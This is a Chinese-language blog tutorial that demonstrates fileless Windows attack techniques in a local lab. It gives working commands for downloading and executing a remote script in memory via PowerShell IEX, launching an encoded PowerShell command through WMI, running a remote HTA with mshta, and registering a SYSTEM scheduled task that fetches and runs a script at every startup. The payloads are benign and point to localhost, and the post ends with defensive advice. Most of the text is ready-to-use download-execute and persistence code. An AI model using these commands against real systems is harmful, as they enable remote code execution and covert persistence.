当前位置:首页>python>Python实现模拟攻击

Python实现模拟攻击

  • 2026-10-11 06:56:04
Python实现模拟攻击

⚠️ 安全声明

  • 仅限在你自己拥有的、断开外部网络的测试机上进行。
  • 请勿将这些技术用于非法入侵他人系统,否则后果自负。
  • 以下 Demo 仅用于 理解攻击原理 和 自我防御加固。

📦 准备工作:搭建一个本地 HTTP 服务器(用于模拟“远程服务器”)

因为真正的攻击是从远程服务器获取脚本,我们可以在本机搭建一个简单的 HTTP 服务,提供脚本内容。这样既安全又符合原理。

使用 Python 快速搭建(如果你有 Python)

  1. 新建一个文件夹,例如 C:\test_http。
  2. 在该文件夹下创建一个 payload.txt 文件,内容为:
    Write-Host "Payload executed in memory!" -ForegroundColor Green
    # 或者弹窗
    [System.Windows.Forms.MessageBox]::Show('Hello from memory!')
  3. 在该文件夹中打开命令行,运行:
    python -m http.server 8080
    现在访问 http://localhost:8080/payload.txt 即可获取该文本。

如果你没有 Python,也可以用任何其他 HTTP 服务器,或者直接使用本地文件路径(但内存执行效果稍弱)。


🧪 Demo 1:PowerShell 内存执行远程脚本(无文件落地)

原理

使用 Invoke-Expression (或 IEX) 直接执行从 URL 获取的字符串,不保存到磁盘。

命令

在 PowerShell 中执行以下命令(请先启动 HTTP 服务器):

$script = (Invoke-WebRequest -Uri http://localhost:8080/payload.txt).Content
IEX $script

解析

  • Invoke-WebRequest 将远程文本内容下载到内存变量 $script 中。
  • IEX(即 Invoke-Expression)直接在内存中执行该字符串。
  • 整个过程中,硬盘上没有任何新文件生成(除了 HTTP 服务器的日志,但那是服务端)。

验证

你会看到控制台输出绿色文字或弹窗(取决于你写的 payload 内容),证明代码已在内存中运行。


🧪 Demo 2:WMI 执行 PowerShell 脚本(远程控制模型)

原理

WMI(Windows Management Instrumentation)允许通过 Win32_Process 创建进程,我们可以通过 WMI 启动 PowerShell 并执行内存脚本。

步骤

  1. 在 PowerShell 中执行(管理员权限可能需要):
$script = (Invoke-WebRequest -Uri http://localhost:8080/payload.txt).Content
# 将脚本编码为 Base64(避免命令行转义问题)
$bytes = [System.Text.Encoding]::Unicode.GetBytes($script)
$encoded = [Convert]::ToBase64String($bytes)
# 通过 WMI 创建进程
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "powershell -NoProfile -EncodedCommand $encoded"

解析

  • WMI 创建了一个新的 PowerShell 进程,并将 Base64 编码的命令传递给它。
  • 该进程启动后,直接在内存中解码并执行脚本,不会留下任何 .ps1 文件。
  • 这个 Demo 模拟了攻击者远程触发命令执行的过程(WMI 可以远程调用,此处仅演示本地)。

🧪 Demo 3:MSHTA 执行 JavaScript(HTML 应用内存执行)

原理

mshta.exe 是 Windows 用于执行 .hta 文件的程序。它可以解析 HTML 和 VBScript/JavaScript,且可以在不保存文件的情况下通过 URL 直接运行。

步骤

  1. 在 HTTP 服务器根目录创建一个 payload.hta 文件(其实可以不用文件,但为了演示),内容为:
    <html>
    <head>
    <scriptlanguage="JavaScript">
        alert('MSHTA 内存执行!');
    // 甚至可以创建 ActiveX 对象做更多事情(但需用户确认)
    </script>
    </head>
    <body></body>
    </html>
  2. 在命令提示符或运行框中执行:
    mshta http://localhost:8080/payload.hta

解析

  • mshta 下载 payload.hta 的内容并直接在内存中解释执行,不会在本地保存该 .hta 文件。
  • 弹出对话框证明代码已被执行。

🧪 附加 Demo:无文件持久化(计划任务)

原理

利用计划任务实现重启后自动执行内存脚本(但每次仍会重新下载执行)。

命令(管理员权限)

$action = New-ScheduledTaskAction -Execute "powershell" -Argument "-NoProfile -Command `"IEX (Invoke-WebRequest -Uri http://localhost:8080/payload.txt).Content`""
$trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -TaskName "TestMemoryExec" -Action $action -Trigger $trigger -User SYSTEM

解析

  • 创建了一个开机启动的计划任务,它会在系统启动时运行 PowerShell,并从 HTTP 服务器获取脚本并在内存中执行。
  • 任务本身不存储脚本内容,只存储下载和执行指令。

🛡️ 防御建议

  • 限制 PowerShell 执行策略:虽然 IEX 可以绕过,但可以启用 AppLocker 或 WDAC 限制可信脚本执行。
  • 监控进程创建:使用 EDR 工具监控 powershell.exe、wmic.exe、mshta.exe 等常见离地攻击工具。
  • 禁用不必要的功能:如非必要,可禁用 WMI 脚本执行或 mshta 的 Internet 访问。
  • 用户教育:不执行陌生人发送的命令行,即使是“Ctrl+V”的简单操作。

✅ 结论

通过上述 Demo,你已验证了“不下载 .exe 文件,利用系统自带工具实现远程控制”的可行性。这些技术已被广泛用于真实攻击,理解它们有助于你更好地构建防御策略。

测试完毕后,请记得删除计划任务和停止 HTTP 服务,保持系统清洁。

最新文章

随机文章